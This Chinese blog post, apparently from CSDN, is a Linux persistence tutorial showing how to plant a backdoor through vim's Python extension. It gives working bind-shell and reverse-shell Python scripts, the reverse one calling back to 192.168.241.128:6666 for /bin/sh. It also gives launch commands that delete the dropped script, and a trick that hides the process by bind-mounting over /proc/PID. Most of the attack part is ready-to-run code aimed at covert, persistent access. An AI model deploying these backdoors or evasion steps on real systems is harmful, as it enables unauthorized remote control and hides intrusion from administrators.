• linux权限维持(三)


    5.vim python 扩展后门

    适用于安装了 vim 且安装了 python 扩展 ( 绝大版本默认安装 ) linux 系统。
    1. cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">/dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    2. $(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -fdir.py
    恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的 11 端口:
    正向后门:
    1. #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
    2. from socket import *
    3. import subprocess
    4. import os, threading, sys, time
    5. if __name__ == "__main__":
    6. server=socket(AF_INET,SOCK_STREAM)
    7. server.bind(('0.0.0.0',11))
    8. server.listen(5)
    9. print ('waiting for connect')
    10. talk, addr = server.accept()
    11. print ('connect from',addr)
    12. proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
    13. stdout=talk, stderr=talk, shell=True)
    反向后门:
    1. import socket, subprocess, os;
    2. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    3. s.connect(("192.168.241.128", 6666));
    4. os.dup2(s.fileno(), 0);
    5. os.dup2(s.fileno(), 1);
    6. os.dup2(s.fileno(), 2);
    7. p = subprocess.call(["/bin/sh", "-i"]);
    隐藏后门:
    1. (nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
    2. #将nohup的执行结果输出到/dev/null
    3. #其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
    4. #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误
    5. 输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结
    6. 果是否正确,都不会有输出。
    netstat -anpt 查看到的可疑连接隐藏起来,解决方法:
    既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
    (nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

    隐藏进程:
    1. mkdir null
    2. mount --bind null /proc/6238
    3. netstat -anpt
            #mount --bind 命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个 目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅 是无法访问了)。
    攻击机 nc 连接过去就可以了 :
    1. nohup vim -E -c "pyfile dir.py"
    2. nc 127.0.0.1 11
    查看 cat /proc/$$/mountinfo 可以看到挂在的目录
    1. sudo umount /proc/2607
    2. sudo netstat -anpt
    3. ps aux | grep 2607

    ------------------------------未完待续,请看下篇----------------------------

  • 相关阅读:
    Flet教程之 11 Row组件在水平数组中显示其子项的控件 基础入门(教程含源码)
    codegeex2-6b-int4 部署
    安装nacos配置jdk
    【概率论与数理统计】【线性代数】计算机保研复习
    【面向就业的Linux基础】从入门到熟练,探索Linux的秘密(二)
    【Mybatis】3 的操作类型对象
    ChatGPT高级数据分析功能
    基于STM32单片机光照检测控制系统-proteus仿真-源程序
    微服务框架 SpringCloud微服务架构 18 操作索引库 18.1 mapping 属性
    nginx两台负载均衡服务器之间使用keepalived实现高可用
  • 原文地址:https://blog.csdn.net/qq_61861243/article/details/138170002